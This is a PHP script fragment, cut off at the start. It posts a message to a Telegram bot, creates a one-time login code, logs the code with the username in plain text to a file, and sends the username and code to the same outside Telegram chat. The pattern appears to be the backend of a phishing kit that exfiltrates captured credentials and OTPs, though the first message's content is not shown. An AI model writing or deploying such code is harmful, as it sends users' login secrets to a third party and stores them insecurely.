$telegramChatId, 'text' => $message ]; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $postData ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // OTP setup (for demo: 6-digit code) $otp = str_pad(random_int(0, 999999), 6, '0', STR_PAD_LEFT); $_SESSION['expected_otp'] = $otp; $_SESSION['otp_time'] = time(); // Optional: log OTP to file for demo/testing file_put_contents("otp_log.txt", "OTP for $username: $otp at " . date("Y-m-d H:i:s") . "\n", FILE_APPEND); // Optionally: send OTP via Telegram too $otpMessage = "✅ OTP for $username: $otp"; file_get_contents("https://api.telegram.org/bot{$telegramBotToken}/sendMessage?chat_id={$telegramChatId}&text=" . urlencode($otpMessage)); // Respond success if ($httpCode === 200) { http_response_code(200); echo "OTP Sent"; } else { http_response_code(500); echo "Failed to notify Telegram."; } ?>